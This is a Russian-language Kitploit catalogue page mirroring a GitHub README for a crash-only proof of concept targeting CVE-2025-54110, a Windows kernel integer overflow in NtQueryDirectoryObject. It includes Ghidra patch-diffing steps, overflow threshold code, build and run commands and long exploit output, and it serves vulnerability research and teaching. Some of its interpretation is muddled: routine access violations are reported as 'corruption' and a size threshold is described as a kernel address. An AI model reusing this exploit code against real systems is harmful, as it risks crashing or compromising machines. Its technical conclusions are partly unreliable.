Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-54110-Kernel-EoP-PoC — Дата проекта : Окт 2025 / реализация PoC для CVE-2025-54110 уязвимости целочисленного переполнения на уровне ядра в Windows системном вызове `NtQueryDirectoryObject`. | Kitploit
Инструменты/GitHubGitHub/canomer/cve-2025-54110-kernel-eop-poc
Анализ уязвимостейЭксплуатацияОбратная инженерияСтатьи и ИсследованияОбучение и ОбразованиеЭксплуатация Бинарных Файлов
GitHubcanomer/cve-2025-54110-kernel-eop-poc

CVE-2025-54110-Kernel-EoP-PoC

Дата проекта : Окт 2025 / реализация PoC для CVE-2025-54110 уязвимости целочисленного переполнения на уровне ядра в Windows системном вызове `NtQueryDirectoryObject`.

Репозиторий
11134 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-54110-Kernel-EoP-PoC

Реализация PoC для CVE-2025-54110 — уязвимости переполнения целого числа на уровне ядра в системном вызове Windows NtQueryDirectoryObject.

CVE-2025-54110 - Анализ переполнения целого числа в ядре Windows

CVE: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54110

Этот репозиторий содержит Crash-Only PoC для уязвимости CVE-2025-54110 повышения привилегий ядра, разработанный исключительно для исследования безопасности, реверс-инжиниринга и исследований разработки эксплойтов. Этот код предназначен для демонстрации методов исследования уязвимостей, включая:

  • Бинарное диффинг с помощью Version Tracking в Ghidra
  • Анализ Windows Patch Tuesday
  • Методологии исследования уязвимостей ядра
  • Анализ поведения структурированной обработки исключений (SEH)

Этот PoC НЕ обеспечивает повышение привилегий или надежный BSOD. Он предназначен для безопасного вызова нарушений доступа, которые перехватываются защитой ядра Windows.


Обзор

CVE-2025-54110: Уязвимость повышения привилегий ядра Windows

Дата публикации: Сентябрь 2025 (Windows Tuesday Security Patch)

СвойствоЗначение
CWECWE-190: Переполнение целого числа или циклический переход
Оценка CVSS 3.18.8 (Высокий) / 7.7 (Временная)
Вектор атакиCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:U/RL:O/RC:C
Вектор атакиЛокальный
Сложность атакиНизкая
Необходимые привилегииНизкие
Взаимодействие пользователяНет
Область действияИзменена
КонфиденциальностьВысокая
ЦелостностьВысокая
ДоступностьВысокая
Зрелость эксплойтаНе доказана

Краткое описание

Уязвимость переполнения целого числа в ядре Windows позволяет аутентифицированному злоумышленнику потенциально повысить привилегии локально. Согласно рекомендациям Microsoft:

"Злоумышленник может воспользоваться этой уязвимостью, отправив специально созданные данные из изолированного процесса в пользовательском режиме, чтобы вызвать переполнение целого числа, что приведет к переполнению буфера в ядре и позволит повысить привилегии или выйти из изолированной среды."

Потенциальное воздействие

  • Привилегии SYSTEM могут быть получены успешным злоумышленником
  • Выход из изолированной среды (sandbox) из процессов с ограничениями в пользовательском режиме
  • Повреждение памяти ядра, приводящее к выполнению кода

Оценка возможности эксплуатации

  • Публично раскрыто: Нет
  • Эксплуатируется в реальных атаках: Нет
  • Оценка Microsoft: Эксплуатация более вероятна

Методология исследования

1. Анализ исправлений (Workflow)```

Windows Update Files from Aug 2025 & Sep 2025 (KB.msu) ↓ Extract CAB Files ↓ Calculate SHA-256 Hashes (August vs September) ↓ Identify Changed Files ↓ Ghidra Version Tracking Analysis ↓ Setting Symbol Servers to Clarify Function Names ↓ Function-Level Diff Comparison

root@kitploit:~
### 2. Проанализированные файлы

Первоначальный анализ был сосредоточен на двух основных компонентах ядра:

#### win32k.sys (-)
- **Результат:** Значительных изменений не обнаружено
- **Диапазон оценок:** 0.97-1.0 (высокое сходство)
- **Заключение:** Не является уязвимым компонентом для CVE-2025-54110

#### ntoskrnl.exe (+)
- **Результат:** Множество функций со значительными изменениями
- **Диапазон оценок:** Функции с оценками ≤0.951
- **Различия в длине:** Обнаружены различия в длине байтов между исходным и целевым файлами
- **Всего экспортировано элементов:** 2,036 функций для анализа

### 3. Результаты отслеживания версий Ghidra

Пример выявленных изменений в `ntoskrnl.exe`:

| Оценка | Достоверность | Длина источника | Длина назначения | Исходная функция | Целевая функция |
|-------|---------------|-----------------|-----------------|------------------|-----------------|
| 0.951 | 2.618 | 1023 | 365 | FUN_1403146d0 | FUN_1403a4ea0 |
| 0.950 | 2.285 | 113 | 203 | FUN_140680810 | FUN_1406d952c |
| 0.950 | 3.137 | 782 | 1050 | FUN_14032106c | FUN_140303a38 |
| 0.951 | 2.675 | 141 | 171 | FUN_140407bd0 | FUN_140a172a0 |
| 0.951 | 2.660 | 346 | 150 | FUN_140610e60 | FUN_1406115d4 |

---

## Заявление о PoC

### Технический подход

PoC (`precise_overflow_bsod.c`) пытается вызвать уязвимость целочисленного переполнения через:

1. **Точное вычисление порога:** `0xfffffdbc` (получено из base=0x20, name=0x200)
2. **API NtQueryDirectoryObject:** Целевая функция для запуска переполнения
3. **Многофазная стратегия атаки:**
   - Фаза 1: Попытки точного целочисленного переполнения
   - Фаза 2: Нацеливание на память ядра
   - Фаза 3: Многопоточная эксплуатация

### Структура кода```c
// Key threshold values calculated for overflow
ULONG precise_thresholds[] = {
    0xfffffdbc,  // Precise threshold - base=0x20, name=0x200
    0xfffffdbb,  // Threshold - 1
    0xfffffdbd,  // Threshold + 1
    0xfffffdba,  // Threshold - 2  
    0xfffffdbe,  // Threshold + 2
};

// Buffer configurations to test edge cases
PVOID buffer_types[] = {
    VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE),  // Normal buffer
    VirtualAlloc(NULL, 0x10, MEM_COMMIT, PAGE_READWRITE),    // Small buffer
    NULL,                                                    // NULL pointer
    (PVOID)0x4141414141414141,                              // Invalid pointer
    (PVOID)0x0000000000000000,                              // Zero address
};

Проверенные векторы эксплуатации```

NtQueryDirectoryObject() Parameters: ├── DirectoryHandle: \BaseNamedObjects, \KernelObjects, etc. ├── Buffer: Various pointer configurations ├── BufferLength: Calculated overflow thresholds (0xfffffdbc variants) ├── ReturnSingleEntry: TRUE/FALSE variations ├── RestartScan: TRUE/FALSE variations └── Context: Controlled iteration state

root@kitploit:~
---

## Почему PoC не приводит к сбою системы

### Фактические результаты

PoC последовательно возвращает `STATUS_ACCESS_VIOLATION (0xC0000005)` без появления синего экрана смерти (BSOD). Это **сделано намеренно** и демонстрирует несколько критических механизмов безопасности ядра Windows:

### 1. Структурированная обработка исключений (SEH)```
User-Mode Input → NtQueryDirectoryObject
                        ↓
                  ProbeForRead/Write
                        ↓
                  __try { ... }
                        ↓
              Access Violation Detected
                        ↓
                  __except { ... }
                        ↓
            Return STATUS_ACCESS_VIOLATION

Почему это работает:

  • Системные вызовы ядра Windows оборачивают доступ к указателям пользовательского режима в обработчики исключений
  • Недопустимые обращения к памяти перехватываются, а не распространяются
  • Система возвращает код ошибки вызывающему вместо аварийного завершения

2. SMAP (Защита от доступа в режиме супервизора)

Современная функция процессора, которая предотвращает доступ режима ядра (Ring 0) к памяти пользовательского режима (Ring 3) без явного разрешения:``` Kernel attempts to access user pointer ↓ SMAP checks permission (STAC/CLAC instructions) ↓ Unauthorized access detected ↓ CPU generates #PF (Page Fault) ↓ Caught by kernel exception handler

root@kitploit:~
**Влияние на PoC:**
- Даже если происходит переполнение, прямой доступ к памяти из ядра в пользовательское пространство блокируется
- Предотвращает эксплуатацию уязвимостей, связанных с разыменованием указателей

### 3. KASLR (Рандомизация макета адресного пространства ядра)```
Boot Time: Kernel Base = Random Address
                ↓
Hardcoded PoC address (0xfffffdbc)
                ↓
        Does NOT match actual kernel structures
                ↓
    Write to non-critical memory OR caught by SEH

Почему BSOD не происходит:

  • PoC использует статические адреса/пороги
  • Реальные структуры ядра находятся в рандомизированных местах
  • Записи промахиваются мимо критических целей (например, EPROCESS, Pool Headers)

4. Проверки целостности пула ядра

Windows 10+ реализует улучшенное обнаружение повреждения пула:``` Heap/Pool Allocation ↓ Header Contains: ├── Magic Values ├── Size Information └── Checksums ↓ On Free/Access: Validate Integrity ↓ Corruption Detected? ↓ [YES] → Safe Exception → Return Error [NO] → Proceed Normally

root@kitploit:~
---

## Анализ вывода выполнения PoC

### Ожидаемый вывод

Видите `STATUS_ACCESS_VIOLATION (0xC0000005)`, значит всё в порядке.```
C:\Users\reLab\Desktop\cve>.\poc64.exe
==================================================
    CVE-2025-54110 - Kernel Integer Overflow PoC
==================================================
[!] WARNING: This code may crash the system (BSOD).
[?] Do you want to continue? (y/n): y

[>] Targeting directory: \BaseNamedObjects
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...

[>] Targeting directory: \KernelObjects
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...

[>] Targeting directory: \Sessions
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...

[>] Targeting directory: \Windows
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...

[-] Exploit finished. If the system is still running, the attack may have been mitigated.

C:\Users\reLab\Desktop\cve>
image

Эксперимент Verbossed```

C:\Users\reLab\Desktop\cve>.\poc64_verbose11.exe

CVE-2025-54110 PRECISION INTEGER OVERFLOW BSOD EXPLOIT Threshold: 0xfffffdbc (base=0x20, name=0x200) !!! WARNING: HIGH PROBABILITY OF SYSTEM CRASH !!!

[+] Current user: desktop-lfkkhu2\relab [+] Current PID: 1444

[!] THIS EXPLOIT HAS HIGH CHANCE OF CAUSING BSOD! [!] Continue? (y/n): y [+] NT functions initialized successfully [+] Using precise threshold: 0xfffffdbc

[+] Exploiting all directories with precise threshold...

[+] Precision exploiting: \BaseNamedObjects [] Phase 1: Precision overflow [+] Starting precise integer overflow exploitation... [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=1, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=1, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=1, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=1, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=2, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=2, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=2, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=2, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=3, single=0, restart=0 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=3, single=0, restart=1 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=3, single=1, restart=0 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=3, single=1, restart=1 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=4, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 ... [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [] Phase 2: Kernel memory targeting [+] Targeting kernel memory with precise threshold... [!] Kernel memory corruption with threshold 0xFFFFFDBC: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBC: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBC: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBC: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBB: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBB: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBB: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBB: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBD: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBD: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBD: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBD: 0xC0000005 [*] Phase 3: Multi-threaded BSOD [+] Triggering precision BSOD with calculated threshold... [+] Starting precise integer overflow exploitation... [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 ... [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=3, single=0, restart=0 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=3, single=0, restart=1 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=3, single=1, restart=0 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=3, single=1, restart=1 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision overflow successful! [+] Starting multi-threaded precision attack...

root@kitploit:~
### Наблюдаемое поведение```
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBB, status=0xC0000005
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBD, status=0xC0000005

Код состояния: 0xC0000005 = STATUS_ACCESS_VIOLATION

Что это означает

АспектИнтерпретация
Подтверждение уязвимости(+) Путь кода достигает уязвимой функции
Проверка ввода(!) Сформированный ввод вызывает аномальное поведение
Стабильность системы(+) SEH предотвращает сбой; система остаётся стабильной
Достижение DoS(-) Нет BSOD; обработка исключений успешна
Достижение EoP(-) Нет повышения привилегий; контролируемый отказ

Критерии успеха по цели```

┌─────────────────────────────────────────────────────────┐ │ Objective │ Status │ Explanation │ ├─────────────────────────────────────────────────────────┤ │ Vulnerability Research │ + │ Behavior change │ │ │ │ confirmed │ ├─────────────────────────────────────────────────────────┤ │ Learning Experience │ + │ Kernel protections │ │ │ │ demonstrated │ ├─────────────────────────────────────────────────────────┤ │ Crash (DoS/BSOD) │ - │ SEH prevented crash │ ├─────────────────────────────────────────────────────────┤ │ Privilege Escalation │ - │ No code execution │ │ │ │ achieved │ └─────────────────────────────────────────────────────────┘

root@kitploit:~
---

## Образовательная ценность

### Что демонстрирует этот PoC

#### Результаты

1. **Методология сравнения патчей**
   - Сравнение бинарных файлов до и после патча с помощью Ghidra
   - Идентификация изменённых функций через отслеживание версий
   - Анализ метрик сходства на основе баллов

2. **Архитектура ядра Windows**
   - Понимание потока системных вызовов (`NtQueryDirectoryObject`)
   - Распознавание границ между режимами ядра и пользователя
   - Изучение внутренних функций NTAPI

3. **Поведение защитных механизмов**
   - SEH в действии: перехват исключения против аварийного завершения системы
   - SMAP предотвращает несанкционированный доступ к памяти
   - KASLR не позволяет использовать статические адреса при эксплуатации

4. **Процесс исследования уязвимостей**
   - Анализ CVE и сбор информации
   - Обратная разработка изменений в бинарных файлах
   - Проверка гипотез с помощью контролируемых попыток эксплуатации

#### Ограничения

1. **Современные механизмы защиты ядра эффективны**
   - Простых попыток переполнения недостаточно
   - Необходимо обойти несколько уровней защиты
   - Статический анализ сам по себе не может предсказать возможность эксплуатации

2. **Разрыв между теорией и практикой**
   - Целочисленное переполнение существует (теоретически)
   - Практическая эксплуатация требует:
     - Раскрытия информации (утечка адресов ядра)
     - Формирования кучи / Фэн-шуй кучи
     - ROP-цепочек или других примитивов выполнения кода
     - Обхода DEP, CFG, HVCI и т.д.

---

## Приоритетные функции для анализа

Основываясь на характеристиках CVE-2025-54110 (Целочисленное переполнение → Переполнение буфера в ядре), приоритетно проверьте в экспортированном CSV функции, которые обрабатывают:

### Категории высокого приоритета```yaml
Integer/Size Calculations:
  - Functions with arithmetic operations on buffer sizes
  - Length calculation before allocation
  - Checked vs. unchecked math operations
  
Buffer/Memory Operations:
  - memcpy, memmove, RtlCopyMemory variants
  - ExAllocatePool* family
  - Buffer size validation routines
  
Object Directory Handling:
  - NtQueryDirectoryObject and related helpers
  - ObpLookupDirectoryEntry
  - Object enumeration functions
  
User-Mode Interface:
  - ProbeForRead/Write wrappers
  - Input validation functions
  - IOCTL handlers

Стратегия фильтрации для 2 036 функций

Шаг 1: Фильтр на основе оценок``` Score ≤ 0.951 AND (SourceLen ≠ DestLen)

root@kitploit:~
**Шаг 2: Поиск по ключевым словам**```
Function names containing:
- "Directory", "Object", "Query"
- "Buffer", "Length", "Size"
- "Allocate", "Copy", "Validate"
- "Integer", "Overflow", "Wrap"

Шаг 3: Анализ перекрестных ссылок``` Functions called by NtQueryDirectoryObject: ObQueryNameString ObpEnumerateDirectory [Related helper functions]

root@kitploit:~
**Шаг 4: Изменение величины**```
Prioritize functions with:
- Length difference > 100 bytes
- Confidence score 2.0-3.5 (moderate changes)

Сборка и запуск

Предварительные требования```

  • Windows 10/11 (x64)
  • Visual Studio 2019+ or MinGW-w64
  • Administrator privileges (for syscall access)
root@kitploit:~
### Компиляция```bash
# on x64 Native Tools CLI for VS 20xx

# Using Visual Studio
cl.exe /Fe:poc64.exe precise_overflow_bsod.c ntdll.lib

# or
cl poc.c /link /SUBSYSTEM:CONSOLE
root@kitploit:~
# Using MinGW
gcc precise_overflow_bsod.c -o poc64.exe -lntdll
```
### Выполнение```powershell
# Run with admin privileges
.\poc64.exe
```
**Ожидаемый вывод:**```
[+] Current user: DESKTOP-XXXXXXX\user
[+] Current PID: 1234
[!] THIS EXPLOIT HAS HIGH CHANCE OF CAUSING BSOD!
[!] Continue? (y/n): y
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005
[+] System is still running - protections may be active.
```
---

## Ресурсы и ссылки

### Официальные источники

- [Microsoft Security Advisory - CVE-2025-54110](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54110)
- [CWE-190: Целочисленное переполнение или циклический обход](https://cwe.mitre.org/data/definitions/190.html)
- [Внутреннее устройство ядра Windows - Microsoft Docs](https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/)

### Инструменты для исследований

- [Ghidra - Комплект обратной разработки АНБ](https://ghidra-sre.org/)
- [WinDbg - Инструменты отладки Windows](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/)

### Дополнительное чтение

- [Разработка эксплойтов для ядра](https://www.corelan.be/index.php/category/security/exploit-writing-tutorials/)
- [Эксплуатация уязвимостей ядра Windows](https://github.com/hacksysteam/HackSysExtremeVulnerableDriver)
- [Сравнение патчей с помощью Ghidra](https://www.youtube.com/watch?v=K83T7iVla5s)

---

## Юридическое предупреждение

Этот код предоставляется ТОЛЬКО В ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЯХ.

НЕ используйте этот код для:

• Несанкционированного доступа к компьютерным системам

• Злонамеренных атак или нанесения ущерба

• Любой незаконной деятельности

Автор НЕ несет ответственности за неправомерное использование.
Пользователи должны соблюдать все применимые законы.

**Используя этот код, вы подтверждаете:**

1. У вас есть разрешение на тестирование на целевых системах
2. Вы понимаете правовые последствия в вашей юрисдикции
3. Вы принимаете полную ответственность за свои действия
4. Это для обучения, а не для злонамеренной деятельности

---

## Юридическое предупреждение
Этот репозиторий предоставляется строго в образовательных целях, для исследований в области безопасности обороны и воспроизведения уязвимостей в контролируемых лабораторных условиях.
Информация и код доказательства концепции предназначены для помощи защитникам, исследователям и вендорам в понимании и устранении сообщенной уязвимости.
Несанкционированное или злонамеренное использование этого кода против систем без явного разрешения может нарушать применимые законы и правила.
Автор не поощряет и не оправдывает незаконную деятельность и не несет ответственности за неправомерное использование или ущерб, причиненный этим материалом.

Этот отчет о раскрытии уязвимости предоставляется для:
1. Исследований в области безопасности и обучения
2. Уведомления вендоров и разработки патчей
3. Защиты конечных пользователей
4. Академических и оборонных целей безопасности

**Запрещенное использование:**
- Несанкционированный доступ к компьютерным системам
- Злонамеренная эксплуатация
- Любая незаконная деятельность

Исследователь проводил все тестирования на личных системах в контролируемых средах. Несанкционированного доступа к сторонним системам не осуществлялось.

**Версия отчета:** 1.0  
**Последнее обновление:** 9 февраля 2026 г.  

---

## Контакты

Для законных запросов по исследованию безопасности или образовательного сотрудничества:

**Ответственное раскрытие:**
- Проблемы безопасности с этим PoC → Открыть GitHub Issue
- Реальная эксплуатация CVE-2025-54110 → Сообщите в [MSRC](https://msrc.microsoft.com/)

---

## Лицензия```
MIT License - See LICENSE file for details

Educational software provided "as is" without warranty.
Use at your own risk.
```
Скачать инструмент